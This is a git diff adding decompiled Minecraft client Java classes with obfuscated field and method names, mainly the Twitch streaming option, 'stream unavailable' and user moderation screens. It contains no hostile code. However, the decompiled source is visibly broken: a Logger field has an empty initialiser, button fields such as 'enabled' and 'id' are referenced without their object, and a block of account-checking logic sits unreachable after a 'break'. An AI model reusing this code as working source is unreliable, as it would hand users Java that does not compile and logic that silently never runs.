+        drawString(fontRendererObj, var10, getScrollBarX() - 5 - fontRendererObj.getStringWidth(var10), p_180791_3_ + 5 + 3 + fontRendererObj.FONT_HEIGHT, 8421504);
+      }
+    }
+    
+    protected int getScrollBarX()
+    {
+      return super.getScrollBarX() + 15;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/stream/GuiStreamOptions.java b/src/minecraft/net/minecraft/client/gui/stream/GuiStreamOptions.java
new file mode 100644
index 0000000..cd203c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/stream/GuiStreamOptions.java
@@ -0,0 +1,151 @@
+package net.minecraft.client.gui.stream;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiOptionButton;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import net.minecraft.client.stream.IStream;
+
+public class GuiStreamOptions extends net.minecraft.client.gui.GuiScreen
+{
+  private static final GameSettings.Options[] field_152312_a = { GameSettings.Options.STREAM_BYTES_PER_PIXEL, GameSettings.Options.STREAM_FPS, GameSettings.Options.STREAM_KBPS, GameSettings.Options.STREAM_SEND_METADATA, GameSettings.Options.STREAM_VOLUME_MIC, GameSettings.Options.STREAM_VOLUME_SYSTEM, GameSettings.Options.STREAM_MIC_TOGGLE_BEHAVIOR, GameSettings.Options.STREAM_COMPRESSION };
+  private static final GameSettings.Options[] field_152316_f = { GameSettings.Options.STREAM_CHAT_ENABLED, GameSettings.Options.STREAM_CHAT_USER_FILTER };
+  private final net.minecraft.client.gui.GuiScreen field_152317_g;
+  private final GameSettings field_152318_h;
+  private String field_152319_i;
+  private String field_152313_r;
+  private int field_152314_s;
+  private boolean field_152315_t = false;
+  private static final String __OBFID = "CL_00001841";
+  
+  public GuiStreamOptions(net.minecraft.client.gui.GuiScreen p_i1073_1_, GameSettings p_i1073_2_)
+  {
+    field_152317_g = p_i1073_1_;
+    field_152318_h = p_i1073_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    int var1 = 0;
+    field_152319_i = I18n.format("options.stream.title", new Object[0]);
+    field_152313_r = I18n.format("options.stream.chat.title", new Object[0]);
+    GameSettings.Options[] var2 = field_152312_a;
+    int var3 = var2.length;
+    
+
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      GameSettings.Options var5 = var2[var4];
+      
+      if (var5.getEnumFloat())
+      {
+        buttonList.add(new net.minecraft.client.gui.GuiOptionSlider(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionButton(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5, field_152318_h.getKeyBinding(var5)));
+      }
+      
+      var1++;
+    }
+    
+    if (var1 % 2 == 1)
+    {
+      var1++;
+    }
+    
+    field_152314_s = (height / 6 + 24 * (var1 >> 1) + 6);
+    var1 += 2;
+    var2 = field_152316_f;
+    var3 = var2.length;
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      GameSettings.Options var5 = var2[var4];
+      
+      if (var5.getEnumFloat())
+      {
+        buttonList.add(new net.minecraft.client.gui.GuiOptionSlider(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionButton(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5, field_152318_h.getKeyBinding(var5)));
+      }
+      
+      var1++;
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 155, height / 6 + 168, 150, 20, I18n.format("gui.done", new Object[0])));
+    GuiButton var6 = new GuiButton(201, width / 2 + 5, height / 6 + 168, 150, 20, I18n.format("options.stream.ingestSelection", new Object[0]));
+    enabled = (((mc.getTwitchStream().func_152924_m()) && (mc.getTwitchStream().func_152925_v().length > 0)) || (mc.getTwitchStream().func_152908_z()));
+    buttonList.add(var6);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if ((id < 100) && ((button instanceof GuiOptionButton)))
+      {
+        GameSettings.Options var2 = ((GuiOptionButton)button).returnEnumOptions();
+        field_152318_h.setOptionValue(var2, 1);
+        displayString = field_152318_h.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+        
+        if ((mc.getTwitchStream().func_152934_n()) && (var2 != GameSettings.Options.STREAM_CHAT_ENABLED) && (var2 != GameSettings.Options.STREAM_CHAT_USER_FILTER))
+        {
+          field_152315_t = true;
+        }
+      }
+      else if ((button instanceof net.minecraft.client.gui.GuiOptionSlider))
+      {
+        if (id == GameSettings.Options.STREAM_VOLUME_MIC.returnEnumOrdinal())
+        {
+          mc.getTwitchStream().func_152915_s();
+        }
+        else if (id == GameSettings.Options.STREAM_VOLUME_SYSTEM.returnEnumOrdinal())
+        {
+          mc.getTwitchStream().func_152915_s();
+        }
+        else if (mc.getTwitchStream().func_152934_n())
+        {
+          field_152315_t = true;
+        }
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(field_152317_g);
+      }
+      else if (id == 201)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiIngestServers(this));
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_152319_i, width / 2, 20, 16777215);
+    drawCenteredString(fontRendererObj, field_152313_r, width / 2, field_152314_s, 16777215);
+    
+    if (field_152315_t)
+    {
+      drawCenteredString(fontRendererObj, net.minecraft.util.EnumChatFormatting.RED + I18n.format("options.stream.changes", new Object[0]), width / 2, 20 + fontRendererObj.FONT_HEIGHT, 16777215);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/stream/GuiStreamUnavailable.java b/src/minecraft/net/minecraft/client/gui/stream/GuiStreamUnavailable.java
new file mode 100644
index 0000000..5afc58d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/stream/GuiStreamUnavailable.java
@@ -0,0 +1,385 @@
+package net.minecraft.client.gui.stream;
+
+import com.google.common.collect.Lists;
+import java.lang.reflect.Method;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.client.stream.IStream.AuthFailureReason;
+import net.minecraft.client.stream.NullStream;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.Session;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import tv.twitch.ErrorCode;
+
+public class GuiStreamUnavailable extends GuiScreen
+{
+  private static final Logger field_152322_a = ;
+  private final IChatComponent field_152324_f;
+  private final GuiScreen field_152325_g;
+  private final Reason field_152326_h;
+  private final List field_152327_i;
+  private final List field_152323_r;
+  private static final String __OBFID = "CL_00001840";
+  
+  public GuiStreamUnavailable(GuiScreen p_i1070_1_, Reason p_i1070_2_)
+  {
+    this(p_i1070_1_, p_i1070_2_, null);
+  }
+  
+  public GuiStreamUnavailable(GuiScreen p_i46311_1_, Reason p_i46311_2_, List p_i46311_3_)
+  {
+    field_152324_f = new ChatComponentTranslation("stream.unavailable.title", new Object[0]);
+    field_152323_r = Lists.newArrayList();
+    field_152325_g = p_i46311_1_;
+    field_152326_h = p_i46311_2_;
+    field_152327_i = p_i46311_3_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    if (field_152323_r.isEmpty())
+    {
+      field_152323_r.addAll(fontRendererObj.listFormattedStringToWidth(field_152326_h.func_152561_a().getFormattedText(), (int)(width * 0.75F)));
+      
+      if (field_152327_i != null)
+      {
+        field_152323_r.add("");
+        Iterator var1 = field_152327_i.iterator();
+        
+        while (var1.hasNext())
+        {
+          ChatComponentTranslation var2 = (ChatComponentTranslation)var1.next();
+          field_152323_r.add(var2.getUnformattedTextForChat());
+        }
+      }
+    }
+    
+    if (field_152326_h.func_152559_b() != null)
+    {
+      buttonList.add(new GuiButton(0, width / 2 - 155, height - 50, 150, 20, I18n.format("gui.cancel", new Object[0])));
+      buttonList.add(new GuiButton(1, width / 2 - 155 + 160, height - 50, 150, 20, I18n.format(field_152326_h.func_152559_b().getFormattedText(), new Object[0])));
+    }
+    else
+    {
+      buttonList.add(new GuiButton(0, width / 2 - 75, height - 50, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    }
+  }
+  
+
+
+
+  public void onGuiClosed() {}
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    int var4 = Math.max((int)(height * 0.85D / 2.0D - field_152323_r.size() * fontRendererObj.FONT_HEIGHT / 2.0F), 50);
+    drawCenteredString(fontRendererObj, field_152324_f.getFormattedText(), width / 2, var4 - fontRendererObj.FONT_HEIGHT * 2, 16777215);
+    
+    for (Iterator var5 = field_152323_r.iterator(); var5.hasNext(); var4 += fontRendererObj.FONT_HEIGHT)
+    {
+      String var6 = (String)var5.next();
+      drawCenteredString(fontRendererObj, var6, width / 2, var4, 10526880);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        switch (SwitchReason.field_152577_a[field_152326_h.ordinal()])
+        {
+        case 1: 
+        case 2: 
+          func_152320_a("https://account.mojang.com/me/settings");
+          break;
+        
+        case 3: 
+          func_152320_a("https://account.mojang.com/migrate");
+          break;
+        
+        case 4: 
+          func_152320_a("http://www.apple.com/osx/");
+          break;
+        
+        case 5: 
+        case 6: 
+        case 7: 
+          func_152320_a("http://bugs.mojang.com/browse/MC");
+        }
+        
+      }
+      mc.displayGuiScreen(field_152325_g);
+    }
+  }
+  
+  private void func_152320_a(String p_152320_1_)
+  {
+    try
+    {
+      Class var2 = Class.forName("java.awt.Desktop");
+      Object var3 = var2.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+      var2.getMethod("browse", new Class[] { URI.class }).invoke(var3, new Object[] { new URI(p_152320_1_) });
+    }
+    catch (Throwable var4)
+    {
+      field_152322_a.error("Couldn't open link", var4);
+    }
+  }
+  
+  public static void func_152321_a(GuiScreen p_152321_0_)
+  {
+    Minecraft var1 = Minecraft.getMinecraft();
+    IStream var2 = var1.getTwitchStream();
+    
+    if (!net.minecraft.client.renderer.OpenGlHelper.framebufferSupported)
+    {
+      ArrayList var3 = Lists.newArrayList();
+      var3.add(new ChatComponentTranslation("stream.unavailable.no_fbo.version", new Object[] { GL11.glGetString(7938) }));
+      var3.add(new ChatComponentTranslation("stream.unavailable.no_fbo.blend", new Object[] { Boolean.valueOf(getCapabilitiesGL_EXT_blend_func_separate) }));
+      var3.add(new ChatComponentTranslation("stream.unavailable.no_fbo.arb", new Object[] { Boolean.valueOf(getCapabilitiesGL_ARB_framebuffer_object) }));
+      var3.add(new ChatComponentTranslation("stream.unavailable.no_fbo.ext", new Object[] { Boolean.valueOf(getCapabilitiesGL_EXT_framebuffer_object) }));
+      var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.NO_FBO, var3));
+    }
+    else if ((var2 instanceof NullStream))
+    {
+      if (((NullStream)var2).func_152937_a().getMessage().contains("Can't load AMD 64-bit .dll on a IA 32-bit platform"))
+      {
+        var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.LIBRARY_ARCH_MISMATCH));
+      }
+      else
+      {
+        var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.LIBRARY_FAILURE));
+      }
+    } else {
+      if ((!var2.func_152928_D()) && (var2.func_152912_E() == ErrorCode.TTV_EC_OS_TOO_OLD)) {}
+      
+      switch (SwitchReason.field_152578_b[net.minecraft.util.Util.getOSType().ordinal()])
+      {
+      case 1: 
+        var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.UNSUPPORTED_OS_WINDOWS));
+        break;
+      
+      case 2: 
+        var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.UNSUPPORTED_OS_MAC));
+        break;
+      
+      default: 
+        var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.UNSUPPORTED_OS_OTHER));
+        
+        break;
+        if (!var1.func_180509_L().containsKey("twitch_access_token"))
+        {
+          if (var1.getSession().getSessionType() == net.minecraft.util.Session.Type.LEGACY)
+          {
+            var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.ACCOUNT_NOT_MIGRATED));
+          }
+          else
+          {
+            var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.ACCOUNT_NOT_BOUND));
+          }
+        }
+        else if (!var2.func_152913_F())
+        {
+          switch (SwitchReason.field_152579_c[var2.func_152918_H().ordinal()])
+          {
+          case 1: 
+            var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.FAILED_TWITCH_AUTH));
+            break;
+          
+          case 2: 
+          default: 
+            var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.FAILED_TWITCH_AUTH_ERROR));
+            
+            break; }
+        } else if (var2.func_152912_E() != null)
+        {
+          List var4 = java.util.Arrays.asList(new ChatComponentTranslation[] { new ChatComponentTranslation("stream.unavailable.initialization_failure.extra", new Object[] { ErrorCode.getString(var2.func_152912_E()) }) });
+          var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.INITIALIZATION_FAILURE, var4));
+        }
+        else
+        {
+          var1.displayGuiScreen(new GuiStreamUnavailable(p_152321_0_, Reason.UNKNOWN));
+        }
+        break; }
+    }
+  }
+  
+  public static enum Reason { NO_FBO("NO_FBO", 0, new ChatComponentTranslation("stream.unavailable.no_fbo", new Object[0])), 
+    LIBRARY_ARCH_MISMATCH("LIBRARY_ARCH_MISMATCH", 1, new ChatComponentTranslation("stream.unavailable.library_arch_mismatch", new Object[0])), 
+    LIBRARY_FAILURE("LIBRARY_FAILURE", 2, new ChatComponentTranslation("stream.unavailable.library_failure", new Object[0]), new ChatComponentTranslation("stream.unavailable.report_to_mojang", new Object[0])), 
+    UNSUPPORTED_OS_WINDOWS("UNSUPPORTED_OS_WINDOWS", 3, new ChatComponentTranslation("stream.unavailable.not_supported.windows", new Object[0])), 
+    UNSUPPORTED_OS_MAC("UNSUPPORTED_OS_MAC", 4, new ChatComponentTranslation("stream.unavailable.not_supported.mac", new Object[0]), new ChatComponentTranslation("stream.unavailable.not_supported.mac.okay", new Object[0])), 
+    UNSUPPORTED_OS_OTHER("UNSUPPORTED_OS_OTHER", 5, new ChatComponentTranslation("stream.unavailable.not_supported.other", new Object[0])), 
+    ACCOUNT_NOT_MIGRATED("ACCOUNT_NOT_MIGRATED", 6, new ChatComponentTranslation("stream.unavailable.account_not_migrated", new Object[0]), new ChatComponentTranslation("stream.unavailable.account_not_migrated.okay", new Object[0])), 
+    ACCOUNT_NOT_BOUND("ACCOUNT_NOT_BOUND", 7, new ChatComponentTranslation("stream.unavailable.account_not_bound", new Object[0]), new ChatComponentTranslation("stream.unavailable.account_not_bound.okay", new Object[0])), 
+    FAILED_TWITCH_AUTH("FAILED_TWITCH_AUTH", 8, new ChatComponentTranslation("stream.unavailable.failed_auth", new Object[0]), new ChatComponentTranslation("stream.unavailable.failed_auth.okay", new Object[0])), 
+    FAILED_TWITCH_AUTH_ERROR("FAILED_TWITCH_AUTH_ERROR", 9, new ChatComponentTranslation("stream.unavailable.failed_auth_error", new Object[0])), 
+    INITIALIZATION_FAILURE("INITIALIZATION_FAILURE", 10, new ChatComponentTranslation("stream.unavailable.initialization_failure", new Object[0]), new ChatComponentTranslation("stream.unavailable.report_to_mojang", new Object[0])), 
+    UNKNOWN("UNKNOWN", 11, new ChatComponentTranslation("stream.unavailable.unknown", new Object[0]), new ChatComponentTranslation("stream.unavailable.report_to_mojang", new Object[0]));
+    
+    private final IChatComponent field_152574_m;
+    private final IChatComponent field_152575_n;
+    private static final Reason[] $VALUES = { NO_FBO, LIBRARY_ARCH_MISMATCH, LIBRARY_FAILURE, UNSUPPORTED_OS_WINDOWS, UNSUPPORTED_OS_MAC, UNSUPPORTED_OS_OTHER, ACCOUNT_NOT_MIGRATED, ACCOUNT_NOT_BOUND, FAILED_TWITCH_AUTH, FAILED_TWITCH_AUTH_ERROR, INITIALIZATION_FAILURE, UNKNOWN };
+    private static final String __OBFID = "CL_00001838";
+    
+    private Reason(String p_i1066_1_, int p_i1066_2_, IChatComponent p_i1066_3_)
+    {
+      this(p_i1066_1_, p_i1066_2_, p_i1066_3_, null);
+    }
+    
+    private Reason(String p_i1067_1_, int p_i1067_2_, IChatComponent p_i1067_3_, IChatComponent p_i1067_4_)
+    {
+      field_152574_m = p_i1067_3_;
+      field_152575_n = p_i1067_4_;
+    }
+    
+    public IChatComponent func_152561_a()
+    {
+      return field_152574_m;
+    }
+    
+    public IChatComponent func_152559_b()
+    {
+      return field_152575_n;
+    }
+  }
+  
+
+  static final class SwitchReason
+  {
+    static final int[] field_152577_a;
+    
+    static final int[] field_152578_b;
+    static final int[] field_152579_c = new int[IStream.AuthFailureReason.values().length];
+    private static final String __OBFID = "CL_00001839";
+    
+    static
+    {
+      try
+      {
+        field_152579_c[IStream.AuthFailureReason.INVALID_TOKEN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_152579_c[IStream.AuthFailureReason.ERROR.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      field_152578_b = new int[net.minecraft.util.Util.EnumOS.values().length];
+      
+      try
+      {
+        field_152578_b[net.minecraft.util.Util.EnumOS.WINDOWS.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_152578_b[net.minecraft.util.Util.EnumOS.OSX.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      field_152577_a = new int[GuiStreamUnavailable.Reason.values().length];
+      
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.ACCOUNT_NOT_BOUND.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.FAILED_TWITCH_AUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.ACCOUNT_NOT_MIGRATED.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.UNSUPPORTED_OS_MAC.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.UNKNOWN.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.LIBRARY_FAILURE.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        field_152577_a[GuiStreamUnavailable.Reason.INITIALIZATION_FAILURE.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+    }
+    
+    SwitchReason() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/stream/GuiTwitchUserMode.java b/src/minecraft/net/minecraft/client/gui/stream/GuiTwitchUserMode.java
new file mode 100644
index 0000000..e6c67b1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/stream/GuiTwitchUserMode.java
@@ -0,0 +1,250 @@
+package net.minecraft.client.gui.stream;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import tv.twitch.chat.ChatUserInfo;
+import tv.twitch.chat.ChatUserMode;
+import tv.twitch.chat.ChatUserSubscription;
+
+public class GuiTwitchUserMode extends net.minecraft.client.gui.GuiScreen
+{
+  private static final EnumChatFormatting field_152331_a = EnumChatFormatting.DARK_GREEN;
+  private static final EnumChatFormatting field_152335_f = EnumChatFormatting.RED;
+  private static final EnumChatFormatting field_152336_g = EnumChatFormatting.DARK_PURPLE;
+  private final ChatUserInfo field_152337_h;
+  private final IChatComponent field_152338_i;
+  private final List field_152332_r = Lists.newArrayList();
+  private final IStream field_152333_s;
+  private int field_152334_t;
+  private static final String __OBFID = "CL_00001837";
+  
+  public GuiTwitchUserMode(IStream p_i1064_1_, ChatUserInfo p_i1064_2_)
+  {
+    field_152333_s = p_i1064_1_;
+    field_152337_h = p_i1064_2_;
+    field_152338_i = new ChatComponentText(displayName);
+    field_152332_r.addAll(func_152328_a(modes, subscriptions, p_i1064_1_));
+  }
+  
+  public static List func_152328_a(Set p_152328_0_, Set p_152328_1_, IStream p_152328_2_)
+  {
+    String var3 = p_152328_2_ == null ? null : p_152328_2_.func_152921_C();
+    boolean var4 = (p_152328_2_ != null) && (p_152328_2_.func_152927_B());
+    ArrayList var5 = Lists.newArrayList();
+    Iterator var6 = p_152328_0_.iterator();
+    
+
+
+    while (var6.hasNext())
+    {
+      ChatUserMode var7 = (ChatUserMode)var6.next();
+      IChatComponent var8 = func_152329_a(var7, var3, var4);
+      
+      if (var8 != null)
+      {
+        ChatComponentText var9 = new ChatComponentText("- ");
+        var9.appendSibling(var8);
+        var5.add(var9);
+      }
+    }
+    
+    var6 = p_152328_1_.iterator();
+    
+    while (var6.hasNext())
+    {
+      ChatUserSubscription var10 = (ChatUserSubscription)var6.next();
+      IChatComponent var8 = func_152330_a(var10, var3, var4);
+      
+      if (var8 != null)
+      {
+        ChatComponentText var9 = new ChatComponentText("- ");
+        var9.appendSibling(var8);
+        var5.add(var9);
+      }
+    }
+    
+    return var5;
+  }
+  
+  public static IChatComponent func_152330_a(ChatUserSubscription p_152330_0_, String p_152330_1_, boolean p_152330_2_)
+  {
+    ChatComponentTranslation var3 = null;
+    
+    if (p_152330_0_ == ChatUserSubscription.TTV_CHAT_USERSUB_SUBSCRIBER)
+    {
+      if (p_152330_1_ == null)
+      {
+        var3 = new ChatComponentTranslation("stream.user.subscription.subscriber", new Object[0]);
+      }
+      else if (p_152330_2_)
+      {
+        var3 = new ChatComponentTranslation("stream.user.subscription.subscriber.self", new Object[0]);
+      }
+      else
+      {
+        var3 = new ChatComponentTranslation("stream.user.subscription.subscriber.other", new Object[] { p_152330_1_ });
+      }
+      
+      var3.getChatStyle().setColor(field_152331_a);
+    }
+    else if (p_152330_0_ == ChatUserSubscription.TTV_CHAT_USERSUB_TURBO)
+    {
+      var3 = new ChatComponentTranslation("stream.user.subscription.turbo", new Object[0]);
+      var3.getChatStyle().setColor(field_152336_g);
+    }
+    
+    return var3;
+  }
+  
+  public static IChatComponent func_152329_a(ChatUserMode p_152329_0_, String p_152329_1_, boolean p_152329_2_)
+  {
+    ChatComponentTranslation var3 = null;
+    
+    if (p_152329_0_ == ChatUserMode.TTV_CHAT_USERMODE_ADMINSTRATOR)
+    {
+      var3 = new ChatComponentTranslation("stream.user.mode.administrator", new Object[0]);
+      var3.getChatStyle().setColor(field_152336_g);
+    }
+    else if (p_152329_0_ == ChatUserMode.TTV_CHAT_USERMODE_BANNED)
+    {
+      if (p_152329_1_ == null)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.banned", new Object[0]);
+      }
+      else if (p_152329_2_)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.banned.self", new Object[0]);
+      }
+      else
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.banned.other", new Object[] { p_152329_1_ });
+      }
+      
+      var3.getChatStyle().setColor(field_152335_f);
+    }
+    else if (p_152329_0_ == ChatUserMode.TTV_CHAT_USERMODE_BROADCASTER)
+    {
+      if (p_152329_1_ == null)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.broadcaster", new Object[0]);
+      }
+      else if (p_152329_2_)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.broadcaster.self", new Object[0]);
+      }
+      else
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.broadcaster.other", new Object[0]);
+      }
+      
+      var3.getChatStyle().setColor(field_152331_a);
+    }
+    else if (p_152329_0_ == ChatUserMode.TTV_CHAT_USERMODE_MODERATOR)
+    {
+      if (p_152329_1_ == null)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.moderator", new Object[0]);
+      }
+      else if (p_152329_2_)
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.moderator.self", new Object[0]);
+      }
+      else
+      {
+        var3 = new ChatComponentTranslation("stream.user.mode.moderator.other", new Object[] { p_152329_1_ });
+      }
+      
+      var3.getChatStyle().setColor(field_152331_a);
+    }
+    else if (p_152329_0_ == ChatUserMode.TTV_CHAT_USERMODE_STAFF)
+    {
+      var3 = new ChatComponentTranslation("stream.user.mode.staff", new Object[0]);
+      var3.getChatStyle().setColor(field_152336_g);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    int var1 = width / 3;
+    int var2 = var1 - 130;
+    buttonList.add(new GuiButton(1, var1 * 0 + var2 / 2, height - 70, 130, 20, I18n.format("stream.userinfo.timeout", new Object[0])));
+    buttonList.add(new GuiButton(0, var1 * 1 + var2 / 2, height - 70, 130, 20, I18n.format("stream.userinfo.ban", new Object[0])));
+    buttonList.add(new GuiButton(2, var1 * 2 + var2 / 2, height - 70, 130, 20, I18n.format("stream.userinfo.mod", new Object[0])));
+    buttonList.add(new GuiButton(5, var1 * 0 + var2 / 2, height - 45, 130, 20, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(new GuiButton(3, var1 * 1 + var2 / 2, height - 45, 130, 20, I18n.format("stream.userinfo.unban", new Object[0])));
+    buttonList.add(new GuiButton(4, var1 * 2 + var2 / 2, height - 45, 130, 20, I18n.format("stream.userinfo.unmod", new Object[0])));
+    int var3 = 0;
+    
+    IChatComponent var5;
+    for (Iterator var4 = field_152332_r.iterator(); var4.hasNext(); var3 = Math.max(var3, fontRendererObj.getStringWidth(var5.getFormattedText())))
+    {
+      var5 = (IChatComponent)var4.next();
+    }
+    
+    field_152334_t = (width / 2 - var3 / 2);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 0)
+      {
+        field_152333_s.func_152917_b("/ban " + field_152337_h.displayName);
+      }
+      else if (id == 3)
+      {
+        field_152333_s.func_152917_b("/unban " + field_152337_h.displayName);
+      }
+      else if (id == 2)
+      {
+        field_152333_s.func_152917_b("/mod " + field_152337_h.displayName);
+      }
+      else if (id == 4)
+      {
+        field_152333_s.func_152917_b("/unmod " + field_152337_h.displayName);
+      }
+      else if (id == 1)
+      {
+        field_152333_s.func_152917_b("/timeout " + field_152337_h.displayName);
+      }
+      
+      mc.displayGuiScreen(null);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_152338_i.getUnformattedText(), width / 2, 70, 16777215);
+    int var4 = 80;
+    
+    for (Iterator var5 = field_152332_r.iterator(); var5.hasNext(); var4 += fontRendererObj.FONT_HEIGHT)
+    {
+      IChatComponent var6 = (IChatComponent)var5.next();
+      drawString(fontRendererObj, var6.getFormattedText(), field_152334_t, var4, 16777215);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/main/GameConfiguration.java b/src/minecraft/net/minecraft/client/main/GameConfiguration.java
new file mode 100644
index 0000000..4d23098
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/main/GameConfiguration.java
@@ -0,0 +1,100 @@
+package net.minecraft.client.main;
+
+import com.mojang.authlib.properties.PropertyMap;
+import java.io.File;
+import java.net.Proxy;
+import net.minecraft.util.Session;
+
+public class GameConfiguration
+{
+  public final UserInformation field_178745_a;
+  public final DisplayInformation field_178743_b;
+  public final FolderInformation field_178744_c;
+  public final GameInformation field_178741_d;
+  public final ServerInformation field_178742_e;
+  private static final String __OBFID = "CL_00001918";
+  
+  public GameConfiguration(UserInformation p_i45491_1_, DisplayInformation p_i45491_2_, FolderInformation p_i45491_3_, GameInformation p_i45491_4_, ServerInformation p_i45491_5_)
+  {
+    field_178745_a = p_i45491_1_;
+    field_178743_b = p_i45491_2_;
+    field_178744_c = p_i45491_3_;
+    field_178741_d = p_i45491_4_;
+    field_178742_e = p_i45491_5_;
+  }
+  
+  public static class DisplayInformation
+  {
